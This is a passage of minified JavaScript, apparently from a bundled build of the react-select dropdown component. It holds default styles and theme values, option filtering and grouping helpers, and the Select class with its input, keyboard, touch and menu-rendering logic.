t=e.isDisabled;return{label:"container",direction:e.isRtl?"rtl":void 0,pointerEvents:t?"none":void 0,position:"relative"}},control:function(e,t){var n=e.isDisabled,o=e.isFocused,r=e.theme,a=r.colors,s=r.borderRadius;return i({label:"control",alignItems:"center",cursor:"default",display:"flex",flexWrap:"wrap",justifyContent:"space-between",minHeight:r.spacing.controlHeight,outline:"0 !important",position:"relative",transition:"all 100ms"},t?{}:{backgroundColor:n?a.neutral5:a.neutral0,borderColor:n?a.neutral10:o?a.primary:a.neutral20,borderRadius:s,borderStyle:"solid",borderWidth:1,boxShadow:o?"0 0 0 1px ".concat(a.primary):void 0,"&:hover":{borderColor:o?a.primary:a.neutral30}})},dropdownIndicator:pe,group:function(e,t){var n=e.theme.spacing;return t?{}:{paddingBottom:2*n.baseUnit,paddingTop:2*n.baseUnit}},groupHeading:function(e,t){var n=e.theme,o=n.colors,r=n.spacing;return i({label:"group",cursor:"default",display:"block"},t?{}:{color:o.neutral40,fontSize:"75%",fontWeight:500,marginBottom:"0.25em",paddingLeft:3*r.baseUnit,paddingRight:3*r.baseUnit,textTransform:"uppercase"})},indicatorsContainer:function(){return{alignItems:"center",alignSelf:"stretch",display:"flex",flexShrink:0}},indicatorSeparator:function(e,t){var n=e.isDisabled,o=e.theme,r=o.spacing.baseUnit,a=o.colors;return i({label:"indicatorSeparator",alignSelf:"stretch",width:1},t?{}:{backgroundColor:n?a.neutral10:a.neutral20,marginBottom:2*r,marginTop:2*r})},input:function(e,t){var n=e.isDisabled,o=e.value,r=e.theme,a=r.spacing,s=r.colors;return i(i({visibility:n?"hidden":"visible",transform:o?"translateZ(0)":""},we),t?{}:{margin:a.baseUnit/2,paddingBottom:a.baseUnit/2,paddingTop:a.baseUnit/2,color:s.neutral80})},loadingIndicator:function(e,t){var n=e.isFocused,o=e.size,r=e.theme,a=r.colors,s=r.spacing.baseUnit;return i({label:"loadingIndicator",display:"flex",transition:"color 150ms",alignSelf:"center",fontSize:o,lineHeight:1,marginRight:o,textAlign:"center",verticalAlign:"middle"},t?{}:{color:n?a.neutral60:a.neutral20,padding:2*s})},loadingMessage:re,menu:function(e,t){var n,r=e.placement,a=e.theme,s=a.borderRadius,l=a.spacing,c=a.colors;return i((n={label:"menu"},(0,o.A)(n,function(e){return e?{bottom:"top",top:"bottom"}[e]:"bottom"}(r),"100%"),(0,o.A)(n,"position","absolute"),(0,o.A)(n,"width","100%"),(0,o.A)(n,"zIndex",1),n),t?{}:{backgroundColor:c.neutral0,borderRadius:s,boxShadow:"0 0 0 1px hsla(0, 0%, 0%, 0.1), 0 4px 11px hsla(0, 0%, 0%, 0.1)",marginBottom:l.menuGutter,marginTop:l.menuGutter})},menuList:function(e,t){var n=e.maxHeight,o=e.theme.spacing.baseUnit;return i({maxHeight:n,overflowY:"auto",position:"relative",WebkitOverflowScrolling:"touch"},t?{}:{paddingBottom:o,paddingTop:o})},menuPortal:function(e){var t=e.rect,n=e.offset,o=e.position;return{left:t.left,position:o,top:n,width:t.width,zIndex:1}},multiValue:function(e,t){var n=e.theme,o=n.spacing,r=n.borderRadius,a=n.colors;return i({label:"multiValue",display:"flex",minWidth:0},t?{}:{backgroundColor:a.neutral10,borderRadius:r/2,margin:o.baseUnit/2})},multiValueLabel:function(e,t){var n=e.theme,o=n.borderRadius,r=n.colors,a=e.cropWithEllipsis;return i({overflow:"hidden",textOverflow:a||void 0===a?"ellipsis":void 0,whiteSpace:"nowrap"},t?{}:{borderRadius:o/2,color:r.neutral80,fontSize:"85%",padding:3,paddingLeft:6})},multiValueRemove:function(e,t){var n=e.theme,o=n.spacing,r=n.borderRadius,a=n.colors,s=e.isFocused;return i({alignItems:"center",display:"flex"},t?{}:{borderRadius:r/2,backgroundColor:s?a.dangerLight:void 0,paddingLeft:o.baseUnit,paddingRight:o.baseUnit,":hover":{backgroundColor:a.dangerLight,color:a.danger}})},noOptionsMessage:oe,option:function(e,t){var n=e.isDisabled,o=e.isFocused,r=e.isSelected,a=e.theme,s=a.spacing,l=a.colors;return i({label:"option",cursor:"default",display:"block",fontSize:"inherit",width:"100%",userSelect:"none",WebkitTapHighlightColor:"rgba(0, 0, 0, 0)"},t?{}:{backgroundColor:r?l.primary:o?l.primary25:"transparent",color:n?l.neutral20:r?l.neutral0:"inherit",padding:"".concat(2*s.baseUnit,"px ").concat(3*s.baseUnit,"px"),":active":{backgroundColor:n?void 0:r?l.primary:l.primary50}})},placeholder:function(e,t){var n=e.theme,o=n.spacing,r=n.colors;return i({label:"placeholder",gridArea:"1 / 1 / 2 / 3"},t?{}:{color:r.neutral50,marginLeft:o.baseUnit/2,marginRight:o.baseUnit/2})},singleValue:function(e,t){var n=e.isDisabled,o=e.theme,r=o.spacing,a=o.colors;return i({label:"singleValue",gridArea:"1 / 1 / 2 / 3",maxWidth:"100%",overflow:"hidden",textOverflow:"ellipsis",whiteSpace:"nowrap"},t?{}:{color:n?a.neutral40:a.neutral80,marginLeft:r.baseUnit/2,marginRight:r.baseUnit/2})},valueContainer:function(e,t){var n=e.theme.spacing,o=e.isMulti,r=e.hasValue,a=e.selectProps.controlShouldRenderValue;return i({alignItems:"center",display:o&&r&&a?"flex":"grid",flex:1,flexWrap:"wrap",WebkitOverflowScrolling:"touch",position:"relative",overflow:"hidden"},t?{}:{padding:"".concat(n.baseUnit/2,"px ").concat(2*n.baseUnit,"px")})}},rt={borderRadius:4,colors:{primary:"#2684FF",primary75:"#4C9AFF",primary50:"#B2D4FF",primary25:"#DEEBFF",danger:"#DE350B",dangerLight:"#FFBDAD",neutral0:"hsl(0, 0%, 100%)",neutral5:"hsl(0, 0%, 95%)",neutral10:"hsl(0, 0%, 90%)",neutral20:"hsl(0, 0%, 80%)",neutral30:"hsl(0, 0%, 70%)",neutral40:"hsl(0, 0%, 60%)",neutral50:"hsl(0, 0%, 50%)",neutral60:"hsl(0, 0%, 40%)",neutral70:"hsl(0, 0%, 30%)",neutral80:"hsl(0, 0%, 20%)",neutral90:"hsl(0, 0%, 10%)"},spacing:{baseUnit:4,controlHeight:38,menuGutter:8}},it={"aria-live":"polite",backspaceRemovesValue:!0,blurInputOnSelect:z(),captureMenuScroll:!z(),classNames:{},closeMenuOnSelect:!0,closeMenuOnScroll:!1,components:{},controlShouldRenderValue:!0,escapeClearsValue:!1,filterOption:function(e,t){if(e.data.__isNew__)return!0;var n=i({ignoreCase:!0,ignoreAccents:!0,stringify:$e,trim:!0,matchFrom:"any"},undefined),o=n.ignoreCase,r=n.ignoreAccents,a=n.stringify,s=n.trim,l=n.matchFrom,c=s?He(t):t,u=s?He(a(e)):a(e);return o&&(c=c.toLowerCase(),u=u.toLowerCase()),r&&(c=Ve(c),u=Te(u)),"start"===l?u.substr(0,c.length)===c:u.indexOf(c)>-1},formatGroupLabel:function(e){return e.label},getOptionLabel:function(e){return e.label},getOptionValue:function(e){return e.value},isDisabled:!1,isLoading:!1,isMulti:!1,isRtl:!1,isSearchable:!0,isOptionDisabled:function(e){return!!e.isDisabled},loadingMessage:function(){return"Loading..."},maxMenuHeight:300,minMenuHeight:140,menuIsOpen:!1,menuPlacement:"bottom",menuPosition:"absolute",menuShouldBlockScroll:!1,menuShouldScrollIntoView:!function(){try{return/Android|webOS|iPhone|iPad|iPod|BlackBerry|IEMobile|Opera Mini/i.test(navigator.userAgent)}catch(e){return!1}}(),noOptionsMessage:function(){return"No options"},openMenuOnFocus:!1,openMenuOnClick:!0,options:[],pageSize:5,placeholder:"Select...",screenReaderStatus:function(e){var t=e.count;return"".concat(t," result").concat(1!==t?"s":""," available")},styles:{},tabIndex:0,tabSelectsValue:!0,unstyled:!1};function at(e,t,n,o){return{type:"option",data:t,isDisabled:gt(e,t,n),isSelected:ht(e,t,n),label:pt(e,t),value:ft(e,t),index:o}}function st(e,t){return e.options.map((function(n,o){if("options"in n){var r=n.options.map((function(n,o){return at(e,n,t,o)})).filter((function(t){return ut(e,t)}));return r.length>0?{type:"group",data:n,options:r,index:o}:void 0}var i=at(e,n,t,o);return ut(e,i)?i:void 0})).filter(U)}function lt(e){return e.reduce((function(e,t){return"group"===t.type?e.push.apply(e,(0,v.A)(t.options.map((function(e){return e.data})))):e.push(t.data),e}),[])}function ct(e,t){return e.reduce((function(e,n){return"group"===n.type?e.push.apply(e,(0,v.A)(n.options.map((function(e){return{data:e.data,id:"".concat(t,"-").concat(n.index,"-").concat(e.index)}})))):e.push({data:n.data,id:"".concat(t,"-").concat(n.index)}),e}),[])}function ut(e,t){var n=e.inputValue,o=void 0===n?"":n,r=t.data,i=t.isSelected,a=t.label,s=t.value;return(!bt(e)||!i)&&mt(e,{label:a,value:s,data:r},o)}var dt=function(e,t){var n;return(null===(n=e.find((function(e){return e.data===t})))||void 0===n?void 0:n.id)||null},pt=function(e,t){return e.getOptionLabel(t)},ft=function(e,t){return e.getOptionValue(t)};function gt(e,t,n){return"function"==typeof e.isOptionDisabled&&e.isOptionDisabled(t,n)}function ht(e,t,n){if(n.indexOf(t)>-1)return!0;if("function"==typeof e.isOptionSelected)return e.isOptionSelected(t,n);var o=ft(e,t);return n.some((function(t){return ft(e,t)===o}))}function mt(e,t,n){return!e.filterOption||e.filterOption(t,n)}var bt=function(e){var t=e.hideSelectedOptions,n=e.isMulti;return void 0===t?n:t},vt=1,wt=function(e){!function(e,t){if("function"!=typeof t&&null!==t)throw new TypeError("Super expression must either be null or a function");e.prototype=Object.create(t&&t.prototype,{constructor:{value:e,writable:!0,configurable:!0}}),Object.defineProperty(e,"prototype",{writable:!1}),t&&(0,f.A)(e,t)}(n,e);var t=function(e){var t=h();return function(){var n,o=g(e);if(t){var r=g(this).constructor;n=Reflect.construct(o,arguments,r)}else n=o.apply(this,arguments);return function(e,t){if(t&&("object"==(0,m.A)(t)||"function"==typeof t))return t;if(void 0!==t)throw new TypeError("Derived constructors may only return object or undefined");return(0,b.A)(e)}(this,n)}}(n);function n(e){var o;if((0,d.A)(this,n),(o=t.call(this,e)).state={ariaSelection:null,focusedOption:null,focusedOptionId:null,focusableOptionsWithIds:[],focusedValue:null,inputIsHidden:!1,isFocused:!1,selectValue:[],clearFocusValueOnUpdate:!1,prevWasFocused:!1,inputIsHiddenAfterUpdate:void 0,prevProps:void 0,instancePrefix:""},o.blockOptionHover=!1,o.isComposing=!1,o.commonProps=void 0,o.initialTouchX=0,o.initialTouchY=0,o.openAfterFocus=!1,o.scrollToFocusedOptionOnUpdate=!1,o.userIsDragging=void 0,o.isAppleDevice=nt()||tt(/^iPhone/i)||tt(/^iPad/i)||nt()&&navigator.maxTouchPoints>1,o.controlRef=null,o.getControlRef=function(e){o.controlRef=e},o.focusedOptionRef=null,o.getFocusedOptionRef=function(e){o.focusedOptionRef=e},o.menuListRef=null,o.getMenuListRef=function(e){o.menuListRef=e},o.inputRef=null,o.getInputRef=function(e){o.inputRef=e},o.focus=o.focusInput,o.blur=o.blurInput,o.onChange=function(e,t){var n=o.props,r=n.onChange,i=n.name;t.name=i,o.ariaOnChange(e,t),r(e,t)},o.setValue=function(e,t,n){var r=o.props,i=r.closeMenuOnSelect,a=r.isMulti,s=r.inputValue;o.onInputChange("",{action:"set-value",prevInputValue:s}),i&&(o.setState({inputIsHiddenAfterUpdate:!a}),o.onMenuClose()),o.setState({clearFocusValueOnUpdate:!0}),o.onChange(e,{action:t,option:n})},o.selectOption=function(e){var t=o.props,n=t.blurInputOnSelect,r=t.isMulti,i=t.name,a=o.state.selectValue,s=r&&o.isOptionSelected(e,a),l=o.isOptionDisabled(e,a);if(s){var c=o.getOptionValue(e);o.setValue(a.filter((function(e){return o.getOptionValue(e)!==c})),"deselect-option",e)}else{if(l)return void o.ariaOnChange(e,{action:"select-option",option:e,name:i});r?o.setValue([].concat((0,v.A)(a),[e]),"select-option",e):o.setValue(e,"select-option")}n&&o.blurInput()},o.removeValue=function(e){var t=o.props.isMulti,n=o.state.selectValue,r=o.getOptionValue(e),i=n.filter((function(e){return o.getOptionValue(e)!==r})),a=G(t,i,i[0]||null);o.onChange(a,{action:"remove-value",removedValue:e}),o.focusInput()},o.clearValue=function(){var e=o.state.selectValue;o.onChange(G(o.props.isMulti,[],null),{action:"clear",removedValues:e})},o.popValue=function(){var e=o.props.isMulti,t=o.state.selectValue,n=t[t.length-1],r=t.slice(0,t.length-1),i=G(e,r,r[0]||null);n&&o.onChange(i,{action:"pop-value",removedValue:n})},o.getFocusedOptionId=function(e){return dt(o.state.focusableOptionsWithIds,e)},o.getFocusableOptionsWithIds=function(){return ct(st(o.props,o.state.selectValue),o.getElementId("option"))},o.getValue=function(){return o.state.selectValue},o.cx=function(){for(var e=arguments.length,t=new Array(e),n=0;n<e;n++)t[n]=arguments[n];return M.apply(void 0,[o.props.classNamePrefix].concat(t))},o.getOptionLabel=function(e){return pt(o.props,e)},o.getOptionValue=function(e){return ft(o.props,e)},o.getStyles=function(e,t){var n=o.props.unstyled,r=ot[e](t,n);r.boxSizing="border-box";var i=o.props.styles[e];return i?i(r,t):r},o.getClassNames=function(e,t){var n,r;return null===(n=(r=o.props.classNames)[e])||void 0===n?void 0:n.call(r,t)},o.getElementId=function(e){return"".concat(o.state.instancePrefix,"-").concat(e)},o.getComponents=function(){return e=o.props,i(i({},xe),e.components);var e},o.buildCategorizedOptions=function(){return st(o.props,o.state.selectValue)},o.getCategorizedOptions=function(){return o.props.menuIsOpen?o.buildCategorizedOptions():[]},o.buildFocusableOptions=function(){return lt(o.buildCategorizedOptions())},o.getFocusableOptions=function(){return o.props.menuIsOpen?o.buildFocusableOptions():[]},o.ariaOnChange=function(e,t){o.setState({ariaSelection:i({value:e},t)})},o.onMenuMouseDown=function(e){0===e.button&&(e.stopPropagation(),e.preventDefault(),o.focusInput())},o.onMenuMouseMove=function(e){o.blockOptionHover=!1},o.onControlMouseDown=function(e){if(!e.defaultPrevented){var t=o.props.openMenuOnClick;o.state.isFocused?o.props.menuIsOpen?"INPUT"!==e.target.tagName&&"TEXTAREA"!==e.target.tagName&&o.onMenuClose():t&&o.openMenu("first"):(t&&(o.openAfterFocus=!0),o.focusInput()),"INPUT"!==e.target.tagName&&"TEXTAREA"!==e.target.tagName&&e.preventDefault()}},o.onDropdownIndicatorMouseDown=function(e){if(!(e&&"mousedown"===e.type&&0!==e.button||o.props.isDisabled)){var t=o.props,n=t.isMulti,r=t.menuIsOpen;o.focusInput(),r?(o.setState({inputIsHiddenAfterUpdate:!n}),o.onMenuClose()):o.openMenu("first"),e.preventDefault()}},o.onClearIndicatorMouseDown=function(e){e&&"mousedown"===e.type&&0!==e.button||(o.clearValue(),e.preventDefault(),o.openAfterFocus=!1,"touchend"===e.type?o.focusInput():setTimeout((function(){return o.focusInput()})))},o.onScroll=function(e){"boolean"==typeof o.props.closeMenuOnScroll?e.target instanceof HTMLElement&&V(e.target)&&o.props.onMenuClose():"function"==typeof o.props.closeMenuOnScroll&&o.props.closeMenuOnScroll(e)&&o.props.onMenuClose()},o.onCompositionStart=function(){o.isComposing=!0},o.onCompositionEnd=function(){o.isComposing=!1},o.onTouchStart=function(e){var t=e.touches,n=t&&t.item(0);n&&(o.initialTouchX=n.clientX,o.initialTouchY=n.clientY,o.userIsDragging=!1)},o.onTouchMove=function(e){var t=e.touches,n=t&&t.item(0);if(n){var r=Math.abs(n.clientX-o.initialTouchX),i=Math.abs(n.clientY-o.initialTouchY);o.userIsDragging=r>5||i>5}},o.onTouchEnd=function(e){o.userIsDragging||(o.controlRef&&!o.controlRef.contains(e.target)&&o.menuListRef&&!o.menuListRef.contains(e.target)&&o.blurInput(),o.initialTouchX=0,o.initialTouchY=0)},o.onControlTouchEnd=function(e){o.userIsDragging||o.onControlMouseDown(e)},o.onClearIndicatorTouchEnd=function(e){o.userIsDragging||o.onClearIndicatorMouseDown(e)},o.onDropdownIndicatorTouchEnd=function(e){o.userIsDragging||o.onDropdownIndicatorMouseDown(e)},o.handleInputChange=function(e){var t=o.props.inputValue,n=e.currentTarget.value;o.setState({inputIsHiddenAfterUpdate:!1}),o.onInputChange(n,{action:"input-change",prevInputValue:t}),o.props.menuIsOpen||o.onMenuOpen()},o.onInputFocus=function(e){o.props.onFocus&&o.props.onFocus(e),o.setState({inputIsHiddenAfterUpdate:!1,isFocused:!0}),(o.openAfterFocus||o.props.openMenuOnFocus)&&o.openMenu("first"),o.openAfterFocus=!1},o.onInputBlur=function(e){var t=o.props.inputValue;o.menuListRef&&o.menuListRef.contains(document.activeElement)?o.inputRef.focus():(o.props.onBlur&&o.props.onBlur(e),o.onInputChange("",{action:"input-blur",prevInputValue:t}),o.onMenuClose(),o.setState({focusedValue:null,isFocused:!1}))},o.onOptionHover=function(e){if(!o.blockOptionHover&&o.state.focusedOption!==e){var t=o.getFocusableOptions().indexOf(e);o.setState({focusedOption:e,focusedOptionId:t>-1?o.getFocusedOptionId(e):null})}},o.shouldHideSelectedOptions=function(){return bt(o.props)},o.onValueInputFocus=function(e){e.preventDefault(),e.stopPropagation(),o.focus()},o.onKeyDown=function(e){var t=o.props,n=t.isMulti,r=t.backspaceRemovesValue,i=t.escapeClearsValue,a=t.inputValue,s=t.isClearable,l=t.isDisabled,c=t.menuIsOpen,u=t.onKeyDown,d=t.tabSelectsValue,p=t.openMenuOnFocus,f=o.state,g=f.focusedOption,h=f.focusedValue,m=f.selectValue;if(!(l||"function"==typeof u&&(u(e),e.defaultPrevented))){switch(o.blockOptionHover=!0,e.key){case"ArrowLeft":if(!n||a)return;o.focusValue("previous");break;case"ArrowRight":if(!n||a)return;o.focusValue("next");break;case"Delete":case"Backspace":if(a)return;if(h)o.removeValue(h);else{if(!r)return;n?o.popValue():s&&o.clearValue()}break;case"Tab":if(o.isComposing)return;if(e.shiftKey||!c||!d||!g||p&&o.isOptionSelected(g,m))return;o.selectOption(g);break;case"Enter":if(229===e.keyCode)break;if(c){if(!g)return;if(o.isComposing)return;o.selectOption(g);break}return;case"Escape":c?(o.setState({inputIsHiddenAfterUpdate:!1}),o.onInputChange("",{action:"menu-close",prevInputValue:a}),o.onMenuClose()):s&&i&&o.clearValue();break;case" ":if(a)return;if(!c){o.openMenu("first");break}if(!g)return;o.selectOption(g);break;case"ArrowUp":c?o.focusOption("up"):o.openMenu("last");break;case"ArrowDown":c?o.focusOption("down"):o.openMenu("first");break;case"PageUp":if(!c)return;o.focusOption("pageup");break;case"PageDown":if(!c)return;o.focusOption("pagedown");break;case"Home":if(!c)return;o.focusOption("first");break;case"End":if(!c)return;o.focusOption("last");break;default:return}e.preventDefault()}},o.state.instancePrefix="react-select-"+(o.props.instanceId||++vt),o.state.selectValue=F(e.value),e.menuIsOpen&&o.state.selectValue.length){var r=o.getFocusableOptionsWithIds(),a=o.buildFocusableOptions(),s=a.indexOf(o.state.selectValue[0]);o.state.focusableOptionsWithIds=r,o.state.focusedOption=a[s],o.state.focusedOptionId=dt(r,a[s])}return o}return(0,p.A)(n,[{key:"componentDidMount",value:function(){this.startListeningComposition(),this.startListeningToTouch(),this.props.closeMenuOnScroll&&document&&document.addEventListener&&document.addEventListener("scroll",this.onScroll,!0),this.props.autoFocus&&this.focusInput(),this.props.menuIsOpen&&this.state.focusedOption&&this.menuListRef&&this.focusedOptionRef&&_(this.menuListRef,this.focusedOptionRef)}},{key:"componentDidUpdate",value:function(e){var t=this.props,n=t.isDisabled,o=t.menuIsOpen,r=this.state.isFocused;(r&&!n&&e.isDisabled||r&&o&&!e.menuIsOpen)&&this.focusInput(),r&&n&&!e.isDisabled?this.setState({isFocused:!1},this.onMenuClose):r||n||!e.isDisabled||this.inputRef!==document.activeElement||this.setState({isFocused:!0}),this.menuListRef&&this.focusedOptionRef&&this.scrollToFocusedOptionOnUpdate&&(_(this.menuListRef,this.focusedOptionRef),this.scrollToFocusedOptionOnUpdate=!1)}},{key:"componentWillUnmount",value:function(){this.stopListeningComposition(),this.stopListeningToTouch(),document.removeEventListener("scroll",this.onScroll,!0)}},{key:"onMenuOpen",value:function(){this.props.onMenuOpen()}},{key:"onMenuClose",value:function(){this.onInputChange("",{action:"menu-close",prevInputValue:this.props.inputValue}),this.props.onMenuClose()}},{key:"onInputChange",value:function(e,t){this.props.onInputChange(e,t)}},{key:"focusInput",value:function(){this.inputRef&&this.inputRef.focus()}},{key:"blurInput",value:function(){this.inputRef&&this.inputRef.blur()}},{key:"openMenu",value:function(e){var t=this,n=this.state,o=n.selectValue,r=n.isFocused,i=this.buildFocusableOptions(),a="first"===e?0:i.length-1;if(!this.props.isMulti){var s=i.indexOf(o[0]);s>-1&&(a=s)}this.scrollToFocusedOptionOnUpdate=!(r&&this.menuListRef),this.setState({inputIsHiddenAfterUpdate:!1,focusedValue:null,focusedOption:i[a],focusedOptionId:this.getFocusedOptionId(i[a])},(function(){return t.onMenuOpen()}))}},{key:"focusValue",value:function(e){var t=this.state,n=t.selectValue,o=t.focusedValue;if(this.props.isMulti){this.setState({focusedOption:null});var r=n.indexOf(o);o||(r=-1);var i=n.length-1,a=-1;if(n.length){switch(e){case"previous":a=0===r?0:-1===r?i:r-1;break;case"next":r>-1&&r<i&&(a=r+1)}this.setState({inputIsHidden:-1!==a,focusedValue:n[a]})}}}},{key:"focusOption",value:function(){var e=arguments.length>0&&void 0!==arguments[0]?arguments[0]:"first",t=this.props.pageSize,n=this.state.focusedOption,o=this.getFocusableOptions();if(o.length){var r=0,i=o.indexOf(n);n||(i=-1),"up"===e?r=i>0?i-1:o.length-1:"down"===e?r=(i+1)%o.length:"pageup"===e?(r=i-t)<0&&(r=0):"pagedown"===e?(r=i+t)>o.length-1&&(r=o.length-1):"last"===e&&(r=o.length-1),this.scrollToFocusedOptionOnUpdate=!0,this.setState({focusedOption:o[r],focusedValue:null,focusedOptionId:this.getFocusedOptionId(o[r])})}}},{key:"getTheme",value:function(){return this.props.theme?"function"==typeof this.props.theme?this.props.theme(rt):i(i({},rt),this.props.theme):rt}},{key:"getCommonProps",value:function(){var e=this.clearValue,t=this.cx,n=this.getStyles,o=this.getClassNames,r=this.getValue,i=this.selectOption,a=this.setValue,s=this.props,l=s.isMulti,c=s.isRtl,u=s.options;return{clearValue:e,cx:t,getStyles:n,getClassNames:o,getValue:r,hasValue:this.hasValue(),isMulti:l,isRtl:c,options:u,selectOption:i,selectProps:s,setValue:a,theme:this.getTheme()}}},{key:"hasValue",value:function(){return this.state.selectValue.length>0}},{key:"hasOptions",value:function(){return!!this.getFocusableOptions().length}},{key:"isClearable",value:function(){var e=this.props,t=e.isClearable,n=e.isMulti;return void 0===t?n:t}},{key:"isOptionDisabled",value:function(e,t){return gt(this.props,e,t)}},{key:"isOptionSelected",value:function(e,t){return ht(this.props,e,t)}},{key:"filterOption",value:function(e,t){return mt(this.props,e,t)}},{key:"formatOptionLabel",value:function(e,t){if("function"==typeof this.props.formatOptionLabel){var n=this.props.inputValue,o=this.state.selectValue;return this.props.formatOptionLabel(e,{context:t,inputValue:n,selectValue:o})}return this.getOptionLabel(e)}},{key:"formatGroupLabel",value:function(e){return this.props.formatGroupLabel(e)}},{key:"startListeningComposition",value:function(){document&&document.addEventListener&&(document.addEventListener("compositionstart",this.onCompositionStart,!1),document.addEventListener("compositionend",this.onCompositionEnd,!1))}},{key:"stopListeningComposition",value:function(){document&&document.removeEventListener&&(document.removeEventListener("compositionstart",this.onCompositionStart),document.removeEventListener("compositionend",this.onCompositionEnd))}},{key:"startListeningToTouch",value:function(){document&&document.addEventListener&&(document.addEventListener("touchstart",this.onTouchStart,!1),document.addEventListener("touchmove",this.onTouchMove,!1),document.addEventListener("touchend",this.onTouchEnd,!1))}},{key:"stopListeningToTouch",value:function(){document&&document.removeEventListener&&(document.removeEventListener("touchstart",this.onTouchStart),document.removeEventListener("touchmove",this.onTouchMove),document.removeEventListener("touchend",this.onTouchEnd))}},{key:"renderInput",value:function(){var e=this.props,t=e.isDisabled,n=e.isSearchable,o=e.inputId,r=e.inputValue,a=e.tabIndex,s=e.form,c=e.menuIsOpen,d=e.required,p=this.getComponents().Input,f=this.state,g=f.inputIsHidden,h=f.ariaSelection,m=this.commonProps,b=o||this.getElementId("input"),v=i(i(i({"aria-autocomplete":"list","aria-expanded":c,"aria-haspopup":!0,"aria-errormessage":this.props["aria-errormessage"],"aria-invalid":this.props["aria-invalid"],"aria-label":this.props["aria-label"],"aria-labelledby":this.props["aria-labelledby"],"aria-required":d,role:"combobox","aria-activedescendant":this.isAppleDevice?void 0:this.state.focusedOptionId||""},c&&{"aria-controls":this.getElementId("listbox")}),!n&&{"aria-readonly":!0}),this.hasValue()?"initial-input-focus"===(null==h?void 0:h.action)&&{"aria-describedby":this.getElementId("live-region")}:{"aria-describedby":this.getElementId("placeholder")});return n?l.createElement(p,(0,u.A)({},m,{autoCapitalize:"none",autoComplete:"off",autoCorrect:"off",id:b,innerRef:this.getInputRef,isDisabled:t,isHidden:g,onBlur:this.onInputBlur,onChange:this.handleInputChange,onFocus:this.onInputFocus,spellCheck:"false",tabIndex:a,form:s,type:"text",value:r},v)):l.createElement(_e,(0,u.A)({id:b,innerRef:this.getInputRef,onBlur:this.onInputBlur,onChange:P,onFocus:this.onInputFocus,disabled:t,tabIndex:a,inputMode:"none",form:s,value:""},v))}},{key:"renderPlaceholderOrValue",value:function(){var e=this,t=this.getComponents(),n=t.MultiValue,o=t.MultiValueContainer,r=t.MultiValueLabel,i=t.MultiValueRemove,a=t.SingleValue,s=t.Placeholder,c=this.commonProps,d=this.props,p=d.controlShouldRenderValue,f=d.isDisabled,g=d.isMulti,h=d.inputValue,m=d.placeholder,b=this.state,v=b.selectValue,w=b.focusedValue,y=b.isFocused;if(!this.hasValue()||!p)return h?null:l.createElement(s,(0,u.A)({},c,{key:"placeholder",isDisabled:f,isFocused:y,innerProps:{id:this.getElementId("placeholder")}}),m);if(g)return v.map((function(t,a){var s=t===w,d="".concat(e.getOptionLabel(t),"-").concat(e.getOptionValue(t));return l.createElement(n,(0,u.A)({},c,{components:{Container:o,Label:r,Remove:i},isFocused:s,isDisabled:f,key:d,index:a,removeProps:{onClick:function(){return e.removeValue(t)},onTouchEnd:function(){return e.removeValue(t)},onMouseDown:function(e){e.preventDefault()}},data:t}),e.formatOptionLabel(t,"value"))}));if(h)return null;var C=v[0];return l.createElement(a,(0,u.A)({},c,{data:C,isDisabled:f}),this.formatOptionLabel(C,"value"))}},{key:"renderClearIndicator",value:function(){var e=this.getComponents().ClearIndicator,t=this.commonProps,n=this.props,o=n.isDisabled,r=n.isLoading,i=this.state.isFocused;if(!this.isClearable()||!e||o||!this.hasValue()||r)return null;var a={onMouseDown:this.onClearIndicatorMouseDown,onTouchEnd:this.onClearIndicatorTouchEnd,"aria-hidden":"true"};return l.createElement(e,(0,u.A)({},t,{innerProps:a,isFocused:i}))}},{key:"renderLoadingIndicator",value:function(){var e=this.getComponents().LoadingIndicator,t=this.commonProps,n=this.props,o=n.isDisabled,r=n.isLoading,i=this.state.isFocused;return e&&r?l.createElement(e,(0,u.A)({},t,{innerProps:{"aria-hidden":"true"},isDisabled:o,isFocused:i})):null}},{key:"renderIndicatorSeparator",value:function(){var e=this.getComponents(),t=e.DropdownIndicator,n=e.IndicatorSeparator;if(!t||!n)return null;var o=this.commonProps,r=this.props.isDisabled,i=this.state.isFocused;return l.createElement(n,(0,u.A)({},o,{isDisabled:r,isFocused:i}))}},{key:"renderDropdownIndicator",value:function(){var e=this.getComponents().DropdownIndicator;if(!e)return null;var t=this.commonProps,n=this.props.isDisabled,o=this.state.isFocused,r={onMouseDown:this.onDropdownIndicatorMouseDown,onTouchEnd:this.onDropdownIndicatorTouchEnd,"aria-hidden":"true"};return l.createElement(e,(0,u.A)({},t,{innerProps:r,isDisabled:n,isFocused:o}))}},{key:"renderMenu",value:function(){var e=this,t=this.getComponents(),n=t.Group,o=t.GroupHeading,r=t.Menu,i=t.MenuList,a=t.MenuPortal,s=t.LoadingMessage,c=t.NoOptionsMessage,d=t.Option,p=this.commonProps,f=this.state.focusedOption,g=this.props,h=g.captureMenuScroll,m=g.inputValue,b=g.isLoading,v=g.loadingMessage,w=g.minMenuHeight,y=g.maxMenuHeight,C=g.menuIsOpen,x=g.menuPlacement,S=g.menuPosition,O=g.menuPortalTarget,R=g.menuShouldBlockScroll,E=g.menuShouldScrollIntoView,k=g.noOptionsMessage,I=g.onMenuScrollToTop,A=g.onMenuScrollToBottom;if(!C)return null;var P,D=function(t,n){var o=t.type,r=t.data,i=t.isDisabled,a=t.isSelected,s=t.label,c=t.value,g=f===r,h=i?void 0:function(){return e.onOptionHover(r)},m=i?void 0:function(){return e.selectOption(r)},b="".concat(e.getElementId("option"),"-").concat(n),v={id:b,onClick:m,onMouseMove:h,onMouseOver:h,tabIndex:-1,role:"option","aria-selected":e.isAppleDevice?void 0:a};return l.createElement(d,(0,u.A)({},p,{innerProps:v,data:r,isDisabled:i,isSelected:a,key:b,label:s,type:o,value:c,isFocused:g,innerRef:g?e.getFocusedOptionRef:void 0}),e.formatOptionLabel(t.data,"menu"))};if(this.hasOptions())P=this.getCategorizedOptions().map((function(t){if("group"===t.type){var r=t.data,i=t.options,a=t.index,s="".concat(e.getElementId("group"),"-").concat(a),c="".concat(s,"-heading");return l.createElement(n,(0,u.A)({},p,{key:s,data:r,options:i,Heading:o,headingProps:{id:c,data:t.data},label:e.formatGroupLabel(t.data)}),t.options.map((function(e){return D(e,"".concat(a,"-").concat(e.index))})))}if("option"===t.type)return D(t,"".concat(t.index))}));else if(b){var M=v({inputValue:m});if(null===M)return null;P=l.createElement(s,p,M)}else{var F=k({inputValue:m});if(null===F)return null;P=l.createElement(c,p,F)}var L={minMenuHeight:w,maxMenuHeight:y,menuPlacement:x,menuPosition:S,menuShouldScrollIntoView:E},T=l.createElement(te,(0,u.A)({},p,L),(function(t){var 